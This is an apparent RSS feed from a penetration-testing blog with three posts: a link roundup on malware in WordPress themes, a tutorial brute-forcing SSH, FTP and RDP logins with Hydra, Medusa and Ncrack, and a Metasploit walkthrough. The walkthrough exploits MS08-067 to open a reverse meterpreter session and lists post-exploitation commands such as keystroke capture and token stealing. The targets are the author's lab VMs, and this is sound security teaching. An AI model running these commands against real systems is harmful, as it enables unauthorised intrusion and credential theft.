
<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Online Security Scanner &#187; security</title>
	<atom:link href="http://hackertarget.com/tag/security/feed/" rel="self" type="application/rss+xml" />
	<link>http://hackertarget.com</link>
	<description>Vulnerability Testing and Assessments</description>
	<lastBuildDate>Tue, 15 May 2012 09:53:27 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.2</generator>
<xhtml:meta xmlns:xhtml="http://www.w3.org/1999/xhtml" name="robots" content="noindex" />
		<item>
		<title>Malware in WordPress Themes</title>
		<link>http://hackertarget.com/malware-in-wordpress-themes/</link>
		<comments>http://hackertarget.com/malware-in-wordpress-themes/#comments</comments>
		<pubDate>Wed, 01 Jun 2011 06:15:16 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Security News]]></category>
		<category><![CDATA[malware]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[theme]]></category>
		<category><![CDATA[wordpress]]></category>

		<guid isPermaLink="false">http://hackertarget.com/?p=1069</guid>
		<description><![CDATA[Found an interesting article over at OttoPress with some in depth analysis of malware discovered in a theme on a less than reputable WordPress theme site. Seems there are some dodgey sites out there that have infected themes, both free ones and ripped off professional themes. Beware and check the reputation of your themes. It [...]<div class="addthis_toolbox addthis_default_style addthis_32x32_style" addthis:url='http://hackertarget.com/malware-in-wordpress-themes/' addthis:title='Malware in WordPress Themes' ><a class="addthis_button_facebook"></a><a class="addthis_button_twitter"></a><a class="addthis_button_delicious"></a><a class="addthis_button_reddit"></a><a class="addthis_button_compact"></a></div>]]></description>
			<content:encoded><![CDATA[<p>Found an interesting article over at <a href="http://ottopress.com/">OttoPress</a> with some in depth analysis of malware discovered in a theme on a less than reputable WordPress theme site. Seems there are some dodgey sites out there that have infected themes, both free ones and ripped off professional themes. Beware and check the reputation of your themes.</p>
<blockquote><p>It had malware inserted into it that is of a much more malicious and spammy nature. Further investigation reveals that ALL of the themes on that site contain basically the same code. This code is not actually “viral”, but it’s definitely malware and it’s worth investigating to see some of the ways people try to hide their spam.</p>
<p>So today, I’m going to dissect it and serve it up on a platter for everybody to see.</p></blockquote>
<p><a href="http://ottopress.com/2010/anatomy-of-a-theme-malware/">Anatomy of a theme malware</a></p>
<p>Other excellent posts on this topic include:<br />
<a href="http://jaypeeonline.net/wordpress/wordpress-theme-malware/">Jaypee writes on WordPress Theme Malware</a><br />
<a href="http://wpmu.org/why-you-should-never-search-for-free-wordpress-themes-in-google-or-anywhere-else/">Analysis of Top Google Results for Free WordPress Themes</a></p>
<div class="addthis_toolbox addthis_default_style addthis_32x32_style" addthis:url='http://hackertarget.com/malware-in-wordpress-themes/' addthis:title='Malware in WordPress Themes' ><a class="addthis_button_facebook"></a><a class="addthis_button_twitter"></a><a class="addthis_button_delicious"></a><a class="addthis_button_reddit"></a><a class="addthis_button_compact"></a></div>]]></content:encoded>
			<wfw:commentRss>http://hackertarget.com/malware-in-wordpress-themes/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Brute Forcing Passwords with ncrack, hydra and medusa</title>
		<link>http://hackertarget.com/brute-forcing-passwords-with-ncrack-hydra-and-medusa/</link>
		<comments>http://hackertarget.com/brute-forcing-passwords-with-ncrack-hydra-and-medusa/#comments</comments>
		<pubDate>Fri, 06 May 2011 04:18:08 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Tools]]></category>
		<category><![CDATA[brute force]]></category>
		<category><![CDATA[password]]></category>
		<category><![CDATA[security]]></category>

		<guid isPermaLink="false">http://hackertarget.com/?p=1012</guid>
		<description><![CDATA[Lets test some password breaking tools. Password&#8217;s are often the weakest link in any system. Testing for weak passwords is an important part of security assessments. I am focusing on tools that allow remote service brute forcing. There are also powerful tools available for cracking encrypted password hashes on a local system. The three tools [...]<div class="addthis_toolbox addthis_default_style addthis_32x32_style" addthis:url='http://hackertarget.com/brute-forcing-passwords-with-ncrack-hydra-and-medusa/' addthis:title='Brute Forcing Passwords with ncrack, hydra and medusa' ><a class="addthis_button_facebook"></a><a class="addthis_button_twitter"></a><a class="addthis_button_delicious"></a><a class="addthis_button_reddit"></a><a class="addthis_button_compact"></a></div>]]></description>
			<content:encoded><![CDATA[<p>Lets test some password breaking tools. Password&#8217;s are often the weakest link in any system. Testing for weak passwords is an important part of security assessments.</p>
<p>I am focusing on tools that allow remote service brute forcing. There are also <a href="http://hashcat.net/oclhashcat/" title="HashCat Password Cracking" target="_blank">powerful tools</a> available for cracking encrypted password hashes on a local system. </p>
<p>The three tools I will assess are <a href="http://www.thc.org/thc-hydra/">Hydra</a>, <a href="http://www.foofus.net/~jmk/medusa/medusa.html">Medusa</a> and <a href="http://nmap.org/ncrack/">Ncrack</a> (from nmap.org).</p>
<p>Installation of all three tools was straight forward on <a href="http://www.ubuntulinux.org">Ubuntu</a> Linux.</p>
<blockquote><p>wget http://nmap.org/ncrack/dist/ncrack-0.4ALPHA.tar.gz<br />
./configure<br />
make<br />
make install</p>
<p>wget http://freeworld.thc.org/releases/hydra-6.3-src.tar.gz<br />
./configure<br />
make<br />
make install</p>
<p>wget http://www.foofus.net/jmk/tools/medusa-2.0.tar.gz<br />
./configure<br />
make<br />
make install
</p></blockquote>
<p>Then I grabbed a list of 500 passwords from <a href="http://www.skullsecurity.org/blog/">skullsecurity.org</a>.</p>
<blockquote><p>
wget http://downloads.skullsecurity.org/passwords/500-worst-passwords.txt
</p></blockquote>
<p>Testing was done against a Linux Virtual Machine running on Virtualbox.</p>
<p>The first series of tests was against SSH. I set the root account with the password &#8220;toor&#8221;. I added toor to the end of the 500 password list at number 499.</p>
<blockquote><p>~# hydra -l root -P 500-worst-passwords.txt 10.10.10.10 ssh<br />
Hydra v6.3 (c) 2011 by van Hauser / THC and David Maciejak &#8211; use allowed only for legal purposes.<br />
Hydra (http://www.thc.org/thc-hydra) starting at 2011-05-05 16:45:19<br />
[DATA] 16 tasks, 1 servers, 500 login tries (l:1/p:500), ~31 tries per task<br />
[DATA] attacking service ssh on port 22<br />
[STATUS] 185.00 tries/min, 185 tries in 00:01h, 315 todo in 00:02h<br />
[STATUS] 183.00 tries/min, 366 tries in 00:02h, 134 todo in 00:01h<br />
[22][ssh] host: 10.10.10.10   login: root   password: toor<br />
[STATUS] attack finished for 10.10.10.10 (waiting for children to finish)<br />
Hydra (http://www.thc.org/thc-hydra) finished at 2011-05-05 16:48:08</p></blockquote>
<p>Success with Hydra!</p>
<blockquote><p>~# ncrack -p 22 &#8211;user root -P 500-worst-passwords.txt 10.10.10.10</p>
<p>Starting Ncrack 0.4ALPHA ( http://ncrack.org ) at 2011-05-05 16:50 EST<br />
Stats: 0:00:18 elapsed; 0 services completed (1 total)<br />
Rate: 0.09; Found: 0; About 6.80% done; ETC: 16:54 (0:04:07 remaining)<br />
Stats: 0:01:46 elapsed; 0 services completed (1 total)<br />
Rate: 3.77; Found: 0; About 78.40% done; ETC: 16:52 (0:00:29 remaining)</p>
<p>Discovered credentials for ssh on 10.10.10.10 22/tcp:<br />
10.10.10.10 22/tcp ssh: &#8216;root&#8217; &#8216;toor&#8217;</p>
<p>Ncrack done: 1 service scanned in 138.03 seconds.</p>
<p>Ncrack finished.</p></blockquote>
<p>Success with Ncrack!</p>
<blockquote><p># medusa -u root -P 500-worst-passwords.txt -h 10.10.10.10 -M ssh<br />
Medusa v2.0 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks <jmk@foofus.net></p>
<p>ACCOUNT CHECK: [ssh] Host: 10.10.10.10 (1 of 1, 0 complete) User: root (1 of 1, 0 complete) Password: 123456 (1 of 500 complete)<br />
ACCOUNT CHECK: [ssh] Host: 10.10.10.10 (1 of 1, 0 complete) User: root (1 of 1, 0 complete) Password: password (2 of 500 complete)</p>
<p><< --- SNIP --->>></p>
<p>ACCOUNT CHECK: [ssh] Host: 10.10.10.10 (1 of 1, 0 complete) User: root (1 of 1, 0 complete) Password: billy (498 of 500 complete)<br />
ACCOUNT CHECK: [ssh] Host: 10.10.10.10 (1 of 1, 0 complete) User: root (1 of 1, 0 complete) Password: toor (499 of 500 complete)<br />
ACCOUNT FOUND: [ssh] Host: 10.10.10.10 User: root Password: toor [SUCCESS]</p></blockquote>
<p>~ 1500 seconds</p>
<p>Success with Medusa, however it took over 10 times as long with the default settings of each tool.</p>
<p>Lets try and speed things up a bit. cranking up Medusa speed to use 5 concurrent logins fails with the following error:</p>
<blockquote><p>ACCOUNT CHECK: [ssh] Host: 10.10.10.10 (1 of 1, 0 complete) User: root (1 of 1, 0 complete) Password: mustang (7 of 500 complete)<br />
medusa: ath.c:193: _gcry_ath_mutex_lock: Assertion `*lock == ((ath_mutex_t) 0)&#8217; failed.<br />
Aborted</p></blockquote>
<p>Trying Ncrack at a faster rate was a bit faster but not much.</p>
<blockquote><p>ncrack -p ssh -u root -P 500-worst-passwords.txt -T5 10.10.10.10</p>
<p>Starting Ncrack 0.4ALPHA ( http://ncrack.org ) at 2011-05-06 09:04 EST</p>
<p>Discovered credentials for ssh on 10.10.10.10 22/tcp:<br />
10.10.10.10 22/tcp ssh: &#8216;root&#8217; &#8216;toor&#8217;</p>
<p>Ncrack done: 1 service scanned in 128.98 seconds.</p>
<p>Ncrack finished.</p></blockquote>
<p>Hydra any faster, up the threads to 32? </p>
<blockquote><p>$ hydra -t 32 -l root -P 500-worst-passwords.txt 10.10.10.10 ssh<br />
Hydra v6.3 (c) 2011 by van Hauser / THC and David Maciejak &#8211; use allowed only for legal purposes.<br />
Hydra (http://www.thc.org/thc-hydra) starting at 2011-05-06 12:44:03<br />
[DATA] 32 tasks, 1 servers, 500 login tries (l:1/p:500), ~15 tries per task<br />
[DATA] attacking service ssh on port 22<br />
[STATUS] 184.00 tries/min, 184 tries in 00:01h, 316 todo in 00:02h<br />
[STATUS] 185.50 tries/min, 371 tries in 00:02h, 129 todo in 00:01h<br />
[STATUS] attack finished for 10.10.10.10 (waiting for children to finish)<br />
[22][ssh] host: 10.10.10.10   login: root   password: toor<br />
Hydra (http://www.thc.org/thc-hydra) finished at 2011-05-06 12:46:57</p></blockquote>
<p>No change really. Perhaps the limiting factor for Hydra and Ncrack is the speed of response from the VirtualBox machine. Either way it appears the default speed is pretty good for both tools.</p>
<p>Now to try hitting ftp server on the same host (vsftpd).</p>
<blockquote><p>ncrack -u test -P 500-worst-passwords.txt 10.10.10.10 -p 21</p>
<p>Starting Ncrack 0.4ALPHA ( http://ncrack.org ) at 2011-05-06 12:53 EST<br />
Stats: 0:00:40 elapsed; 0 services completed (1 total)<br />
Rate: 5.94; Found: 0; About 47.20% done; ETC: 12:54 (0:00:45 remaining)<br />
Stats: 0:00:59 elapsed; 0 services completed (1 total)<br />
Rate: 6.93; Found: 0; About 88.00% done; ETC: 12:54 (0:00:08 remaining)</p>
<p>Discovered credentials for ftp on 10.10.10.10 21/tcp:<br />
10.10.10.10 21/tcp ftp: &#8216;test&#8217; &#8216;toor&#8217;</p>
<p>Ncrack done: 1 service scanned in 69.01 seconds.</p></blockquote>
<p>Push it faster&#8230;.</p>
<blockquote><p>$ ncrack -u test -P 500-worst-passwords.txt -T 5 10.10.10.10 -p 21</p>
<p>Starting Ncrack 0.4ALPHA ( http://ncrack.org ) at 2011-05-06 12:55 EST<br />
Stats: 0:00:03 elapsed; 0 services completed (1 total)<br />
Rate: 0.00; Found: 0; About 0.00% done<br />
Stats: 0:00:06 elapsed; 0 services completed (1 total)<br />
Rate: 0.00; Found: 0; About 0.00% done</p>
<p>Discovered credentials for ftp on 10.10.10.10 21/tcp:<br />
10.10.10.10 21/tcp ftp: &#8216;test&#8217; &#8216;toor&#8217;</p>
<p>Ncrack done: 1 service scanned in 66.01 seconds.</p></blockquote>
<p>Same result. Limiting factor is likely the VM.</p>
<blockquote><p>$ hydra -l root -P 500-worst-passwords.txt 10.10.10.10 ftp<br />
Hydra v6.3 (c) 2011 by van Hauser / THC and David Maciejak &#8211; use allowed only for legal purposes.<br />
Hydra (http://www.thc.org/thc-hydra) starting at 2011-05-06 13:07:43<br />
[DATA] 16 tasks, 1 servers, 500 login tries (l:1/p:500), ~31 tries per task<br />
[DATA] attacking service ftp on port 21</p>
<p>Error: Not an FTP protocol or service shutdown: 500 OOPS: priv_sock_get_cmd<br />
Error: Not an FTP protocol or service shutdown: 500 OOPS: priv_sock_get_cmd</p>
<p>[STATUS] 219.00 tries/min, 219 tries in 00:01h, 281 todo in 00:02h<br />
Error: Not an FTP protocol or service shutdown: 500 OOPS: priv_sock_get_cmd</p>
<p>Error: Not an FTP protocol or service shutdown: 500 OOPS: priv_sock_get_cmd<br />
[STATUS] 233.06 tries/min, 470 tries in 00:02h, 30 todo in 00:01h<br />
[STATUS] attack finished for 10.10.10.10 (waiting for children to finish)<br />
Hydra (http://www.thc.org/thc-hydra) finished at 2011-05-06 13:09:56</p></blockquote>
<p>Oops. Thats not so good.</p>
<p>Now for Medusa.</p>
<blockquote><p>~$ medusa -u test -P 500-worst-passwords.txt -h 10.10.10.10 -M ftp<br />
Medusa v2.0 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks <jmk@foofus.net></p>
<p>ACCOUNT CHECK: [ftp] Host: 10.10.10.10 (1 of 1, 0 complete) User: test (1 of 1, 0 complete) Password: 123456 (1 of 500 complete)<br />
ACCOUNT CHECK: [ftp] Host: 10.10.10.10 (1 of 1, 0 complete) User: test (1 of 1, 0 complete) Password: password (2 of 500 complete)<br />
ACCOUNT CHECK: [ftp] Host: 10.10.10.10 (1 of 1, 0 complete) User: test (1 of 1, 0 complete) Password: 12345678 (3 of 500 complete)<br />
ERROR: [ftp.mod] failed: medusaReceive returned no data. Server may have dropped connection due to lack of encryption. Enabling the EXPLICIT mode may help.<br />
CRITICAL: Unknown ftp.mod module state -1</p></blockquote>
<p>Hmmm, struggling too.</p>
<p>Lets go back and check again with ncrack to ensure the service is still ok.</p>
<blockquote><p>~$ ncrack -u test -P 500-worst-passwords.txt -T 5 10.10.10.10 -p 21</p>
<p>Starting Ncrack 0.4ALPHA ( http://ncrack.org ) at 2011-05-06 13:14 EST</p>
<p>Discovered credentials for ftp on 10.10.10.10 21/tcp:<br />
10.10.10.10 21/tcp ftp: &#8216;test&#8217; &#8216;toor&#8217;</p>
<p>Ncrack done: 1 service scanned in 62.99 seconds.</p>
<p>Ncrack finished.</p></blockquote>
<p><b>ncrack for the win!</b></p>
<p>ncrack has the ability to also brute force RDP accounts. So lets hit a windows box.</p>
<blockquote><p>$ ncrack -u administrator -P 500-worst-passwords.txt -p 3389 10.212.50.21</p>
<p>Starting Ncrack 0.4ALPHA ( http://ncrack.org ) at 2011-05-06 13:26 EST<br />
Stats: 0:02:18 elapsed; 0 services completed (1 total)<br />
Rate: 0.02; Found: 0; About 3.40% done; ETC: 14:33 (1:05:21 remaining)<br />
Stats: 0:15:07 elapsed; 0 services completed (1 total)<br />
Rate: 0.20; Found: 0; About 13.80% done; ETC: 15:15 (1:34:25 remaining)<br />
Stats: 0:22:19 elapsed; 0 services completed (1 total)<br />
Rate: 0.02; Found: 0; About 19.40% done; ETC: 15:21 (1:32:43 remaining)<br />
Stats: 0:24:46 elapsed; 0 services completed (1 total)</p>
<p>Discovered credentials for rdp on 10.212.50.21 3389/tcp:<br />
10.212.50.21 3389/tcp rdp: &#8216;administrator&#8217; &#8216;toor&#8217;</p>
<p>Ncrack done: 1 service scanned in 6072 seconds.</p></blockquote>
<p>Protocols supported include:</p>
<blockquote><p>Hydra &#8211; TELNET, FTP, HTTP, HTTPS, HTTP-PROXY, SMB, SMBNT, MS-SQL, MYSQL, REXEC, irc, RSH, RLOGIN, CVS, SNMP, SMTP, SOCKS5, VNC, POP3, IMAP, NNTP, PCNFS, XMPP, ICQ, SAP/R3, LDAP2, LDAP3, Postgres, Teamspeak, Cisco auth, Cisco enable, AFP, Subversion/SVN, Firebird, LDAP2, Cisco AAA</p>
<p>Medusa &#8211;  AFP, CVS, FTP, HTTP, IMAP, MS-SQL, MySQL, NetWare NCP, NNTP, PcAnywhere, POP3, PostgreSQL, REXEC, RLOGIN, RSH, SMBNT, SMTP-AUTH, SMTP-VRFY, SNMP, SSHv2, Subversion (SVN), Telnet, VMware Authentication Daemon (vmauthd), VNC, Generic Wrapper,<br />
Web Form</p>
<p>Ncrack &#8211; RDP, SSH, http(s), SMB, pop3(s), VNC, FTP, telnet</p></blockquote>
<p>There is much more that could be tested for a more comprehensive review. Other protocols, different targets, latency and Further tweaking of the scan speeds and threads.</p>
<p>While ncrack has limited protocol support compared to Hydra and Medusa the only conclusion for this little test; when it comes to speed, reliability and the ability to hit RDP services <b>ncrack wins!!</b></p>
<div class="addthis_toolbox addthis_default_style addthis_32x32_style" addthis:url='http://hackertarget.com/brute-forcing-passwords-with-ncrack-hydra-and-medusa/' addthis:title='Brute Forcing Passwords with ncrack, hydra and medusa' ><a class="addthis_button_facebook"></a><a class="addthis_button_twitter"></a><a class="addthis_button_delicious"></a><a class="addthis_button_reddit"></a><a class="addthis_button_compact"></a></div>]]></content:encoded>
			<wfw:commentRss>http://hackertarget.com/brute-forcing-passwords-with-ncrack-hydra-and-medusa/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>Metasploit 3.4.0 on Ubuntu 10.04 a quick introduction</title>
		<link>http://hackertarget.com/metasploit-3-4-0-on-ubuntu-10-04-a-quick-introduction/</link>
		<comments>http://hackertarget.com/metasploit-3-4-0-on-ubuntu-10-04-a-quick-introduction/#comments</comments>
		<pubDate>Wed, 02 Jun 2010 05:56:47 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Tools]]></category>
		<category><![CDATA[exploit]]></category>
		<category><![CDATA[metasploit]]></category>
		<category><![CDATA[pentest]]></category>
		<category><![CDATA[rapid7]]></category>
		<category><![CDATA[security]]></category>

		<guid isPermaLink="false">http://hackertarget.com/?p=568</guid>
		<description><![CDATA[Perhaps you have heard of metasploit. It is a very powerful exploitation framework developed by HD Moore. Solid growth has seen an early version that was a few exploits in a perl based wrapper turn into a ruby coded framework that is competing with Core Impact and Canvas in the pen-testing community. The latest version [...]<div class="addthis_toolbox addthis_default_style addthis_32x32_style" addthis:url='http://hackertarget.com/metasploit-3-4-0-on-ubuntu-10-04-a-quick-introduction/' addthis:title='Metasploit 3.4.0 on Ubuntu 10.04 a quick introduction' ><a class="addthis_button_facebook"></a><a class="addthis_button_twitter"></a><a class="addthis_button_delicious"></a><a class="addthis_button_reddit"></a><a class="addthis_button_compact"></a></div>]]></description>
			<content:encoded><![CDATA[<p>Perhaps you have heard of <a href="http://www.metasploit.com">metasploit</a>. It is a very powerful exploitation framework developed by HD Moore.</p>
<p>Solid growth has seen an early version that was a few exploits in a perl based wrapper turn into a ruby coded framework that is competing with <a href="http://www.coresecurity.com/">Core Impact</a> and <a href="http://www.immunitysec.com/products-canvas.shtml">Canvas</a> in the pen-testing community.</p>
<p>The latest version has recently been released so I thought I would give you a quick and dirty introduction to running it on <a href="http://www.ubuntulinux.org">Ubuntu</a> Linux 10.04. Of course it will run just as easily on <a href="http://fedoraproject.org/">Fedora</a> Linux, Windows or whatever Operating System floats your boat.</p>
<p>Download the framework from <a href="http://www.metasploit.com/framework/download/">http://www.metasploit.com/framework/download/</a></p>
<p>I chose the binary version for 64 bit Linux.</p>
<p>Ruby is not installed by default in Ubuntu so start off with:</p>
<blockquote><p>
apt-get install ruby<br />
chmod +x framework-3.4.0-linux-x86_64.run<br />
 ./framework-3.4.0-linux-x86_64.run<br />
Verifying archive integrity&#8230; All good.<br />
Uncompressing Metasploit Framework v3.4.0-release Installer (64-bit)&#8230;&#8230;..</p>
<p>                     888                           888        d8b888<br />
                     888                           888        Y8P888<br />
                     888                           888           888<br />
88888b.d88b.  .d88b. 888888 8888b. .d8888b 88888b. 888 .d88b. 888888888<br />
888 &#8220;888 &#8220;88bd8P  Y8b888       &#8220;88b88K     888 &#8220;88b888d88&#8243;&#8221;88b888888<br />
888  888  88888888888888   .d888888&#8243;Y8888b.888  888888888  888888888<br />
888  888  888Y8b.    Y88b. 888  888     X88888 d88P888Y88..88P888Y88b.<br />
888  888  888 &#8220;Y8888  &#8220;Y888&#8243;Y888888 88888P&#8217;88888P&#8221; 888 &#8220;Y88P&#8221; 888 &#8220;Y888<br />
                                           888<br />
                                           888<br />
                                           888</p>
<p>Metasploit Framework v3.4.0 Release<br />
    Report Bugs: msfdev@metasploit.com</p>
<p>Warning: A copy of Metasploit already exists at /opt/metasploit3<br />
         continuing this installation will DELETE the previous<br />
         install, including all user-modified files.</p>
<p>Please enter &#8216;yes&#8217; to continue or any other key to abort<br />
Continue (yes/no) > yes</p>
<p>This installer will place Metasploit into the /opt/metasploit3 directory.<br />
Continue (yes/no) > yes<br />
Removing files from the previous installation&#8230;</p>
<p>Extracting the Metasploit operating environment&#8230;</p>
<p>Extracting the Metasploit Framework&#8230;</p>
<p>Installing links into /usr/local/bin&#8230;</p>
<p>Installation complete.</p>
<p>Would you like to automatically update Metasploit?<br />
AutoUpdate? (yes/no) > yes</p>
<p>*** snip ***</p>
<p>Updated to revision 9390.</p>
<p>Launch the Metasploit console by running &#8216;msfconsole&#8217;</p>
<p>Exiting the installer&#8230;<br />
root@testbox:/home/testuser/Downloads# msfconsole</p>
<p>                                  _<br />
                                 | |      o<br />
 _  _  _    _ _|_  __,   ,    _  | |  __    _|_<br />
/ |/ |/ |  |/  |  /  |  / \_|/ \_|/  /  \_|  |<br />
  |  |  |_/|__/|_/\_/|_/ \/ |__/ |__/\__/ |_/|_/<br />
                           /|<br />
                           \|</p>
<p>       =[ metasploit v3.4.1-dev [core:3.4 api:1.0]<br />
+ &#8212; &#8211;=[ 553 exploits - 264 auxiliary<br />
+ -- --=[ 208 payloads - 23 encoders - 8 nops<br />
       =[ svn r9390 updated today (2010.06.01)</p>
<p>msf > exit
</p></blockquote>
<p>Ok, we now have a working Metasploit, hoorah for us.</p>
<p>Now we want to do a quick exploit of a Windows XP SP2 test machine I have on my network. It is running in Sun Virtual box using Host Only Networking as we will see shortly.</p>
<p>I like to use the command line utility for msf (msfcli) as once you get used to the syntax it is easier and faster. However if you prefer go with the msfconsole.</p>
<p>Running "#msfcli" will list all exploits, payloads and other modules.</p>
<blockquote><p>
#msfcli | grep 08_067<br />
exploit/windows/smb/ms08_067_netapi</p>
<p>Lets hit my windows box with exploit/windows/smb/ms08_067_netapi it is stable and works very well.</p>
<p>#msfcli  exploit/windows/smb/ms08_067_netapi<br />
[*] Please wait while we load the module tree&#8230;<br />
Usage: /opt/metasploit3/msf3/msfcli <exploit_name><br />
<option=value> [mode]<br />
========================================================================</p>
<p>    Mode           Description<br />
    &#8212;-           &#8212;&#8212;&#8212;&#8211;<br />
    (H)elp         You&#8217;re looking at it baby!<br />
    (S)ummary      Show information about this module<br />
    (O)ptions      Show available options for this module<br />
    (A)dvanced     Show available advanced options for this module<br />
    (I)DS Evasion  Show available ids evasion options for this module<br />
    (P)ayloads     Show available payloads for this module<br />
    (T)argets      Show available targets for this exploit module<br />
    (AC)tions      Show available actions for this auxiliary module<br />
    (C)heck        Run the check routine of the selected module<br />
    (E)xecute      Execute the selected module</p>
<p>#msfcli  exploit/windows/smb/ms08_067_netapi O<br />
[*] Please wait while we load the module tree&#8230;</p>
<p>   Name     Current Setting  Required  Description<br />
   &#8212;-     &#8212;&#8212;&#8212;&#8212;&#8212;  &#8212;&#8212;&#8211;  &#8212;&#8212;&#8212;&#8211;<br />
   RHOST                     yes       The target address<br />
   RPORT    445              yes       Set the SMB service port<br />
   SMBPIPE  BROWSER          yes       The pipe name to use (BROWSER, SRVSVC)</p>
</blockquote>
<p>Running the following will display all payloads that will work with ms08_067_netapi. I have selected two in the following examples. A reverse meterpreter and a vnc reverse dll injection.<br />
#msfcli exploit/windows/smb/ms08_067_netapi P</p>
<p>My windows box is 192.168.56.101 and my local Ubuntu system is 192.168.56.1.</p>
<blockquote><p>
# msfcli  exploit/windows/smb/ms08_067_netapi PAYLOAD=windows/meterpreter/reverse_tcp RHOST=192.168.56.101 LHOST=192.168.56.1 E<br />
[*] Please wait while we load the module tree&#8230;<br />
[*] Started reverse handler on 192.168.56.1:4444<br />
[*] Automatically detecting the target&#8230;<br />
[*] Fingerprint: Windows XP Service Pack 2 &#8211; lang:English<br />
[*] Selected Target: Windows XP SP2 English (NX)<br />
[*] Attempting to trigger the vulnerability&#8230;<br />
[*] Sending stage (748032 bytes) to 192.168.56.101<br />
[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.101:1050)</p>
<p>meterpreter > run checkvm<br />
[*] Checking if target is a Virtual Machine &#8230;..<br />
[*] This is a Sun VirtualBox Virtual Machine<br />
meterpreter > run getcountermeasure<br />
[*] Running Getcountermeasure on the target&#8230;<br />
[*] Checking for contermeasures&#8230;<br />
[*] 	Possible countermeasure found avgemc.exe C:\Program Files\AVG\AVG9\avgemc.exe<br />
[*] Getting Windows Built in Firewall configuration&#8230;<br />
[*]<br />
[*] 	Domain profile configuration:<br />
[*] 	&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br />
[*] 	Operational mode                  = Enable<br />
[*] 	Exception mode                    = Enable<br />
[*]<br />
[*] 	Standard profile configuration (current):<br />
[*] 	&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br />
[*] 	Operational mode                  = Disable<br />
[*] 	Exception mode                    = Enable<br />
[*]<br />
[*] 	Local Area Connection firewall configuration:<br />
[*] 	&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br />
[*] 	Operational mode                  = Enable<br />
[*]<br />
[*] 	Local Area Connection 2 firewall configuration:<br />
[*] 	&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br />
[*] 	Operational mode                  = Enable<br />
[*]<br />
[*] Checking DEP Support Policy&#8230;<br />
meterpreter > run get_local_subnets<br />
Local subnet: 10.0.2.0/255.255.255.0<br />
Local subnet: 192.168.56.0/255.255.255.0<br />
meterpreter > help</p>
<p>Core Commands<br />
=============</p>
<p>    Command       Description<br />
    &#8212;&#8212;-       &#8212;&#8212;&#8212;&#8211;<br />
    ?             Help menu<br />
    background    Backgrounds the current session<br />
    bgkill        Kills a background meterpreter script<br />
    bglist        Lists running background scripts<br />
    bgrun         Executes a meterpreter script as a background thread<br />
    channel       Displays information about active channels<br />
    close         Closes a channel<br />
    exit          Terminate the meterpreter session<br />
    help          Help menu<br />
    interact      Interacts with a channel<br />
    irb           Drop into irb scripting mode<br />
    migrate       Migrate the server to another process<br />
    quit          Terminate the meterpreter session<br />
    read          Reads data from a channel<br />
    run           Executes a meterpreter script<br />
    use           Load a one or more meterpreter extensions<br />
    write         Writes data to a channel</p>
<p>Stdapi: File system Commands<br />
============================</p>
<p>    Command       Description<br />
    &#8212;&#8212;-       &#8212;&#8212;&#8212;&#8211;<br />
    cat           Read the contents of a file to the screen<br />
    cd            Change directory<br />
    del           Delete the specified file<br />
    download      Download a file or directory<br />
    edit          Edit a file<br />
    getlwd        Print local working directory<br />
    getwd         Print working directory<br />
    lcd           Change local working directory<br />
    lpwd          Print local working directory<br />
    ls            List files<br />
    mkdir         Make directory<br />
    pwd           Print working directory<br />
    rm            Delete the specified file<br />
    rmdir         Remove directory<br />
    upload        Upload a file or directory</p>
<p>Stdapi: Networking Commands<br />
===========================</p>
<p>    Command       Description<br />
    &#8212;&#8212;-       &#8212;&#8212;&#8212;&#8211;<br />
    ipconfig      Display interfaces<br />
    portfwd       Forward a local port to a remote service<br />
    route         View and modify the routing table</p>
<p>Stdapi: System Commands<br />
=======================</p>
<p>    Command       Description<br />
    &#8212;&#8212;-       &#8212;&#8212;&#8212;&#8211;<br />
    clearev       Clear the event log<br />
    drop_token    Relinquishes any active impersonation token.<br />
    execute       Execute a command<br />
    getpid        Get the current process identifier<br />
    getprivs      Get as many privileges as possible<br />
    getuid        Get the user that the server is running as<br />
    kill          Terminate a process<br />
    ps            List running processes<br />
    reboot        Reboots the remote computer<br />
    reg           Modify and interact with the remote registry<br />
    rev2self      Calls RevertToSelf() on the remote machine<br />
    shell         Drop into a system command shell<br />
    shutdown      Shuts down the remote computer<br />
    steal_token   Attempts to steal an impersonation token from the target process<br />
    sysinfo       Gets information about the remote system, such as OS</p>
<p>Stdapi: User interface Commands<br />
===============================</p>
<p>    Command        Description<br />
    &#8212;&#8212;-        &#8212;&#8212;&#8212;&#8211;<br />
    enumdesktops   List all accessible desktops and window stations<br />
    getdesktop     Get the current meterpreter desktop<br />
    idletime       Returns the number of seconds the remote user has been idle<br />
    keyscan_dump   Dump the keystroke buffer<br />
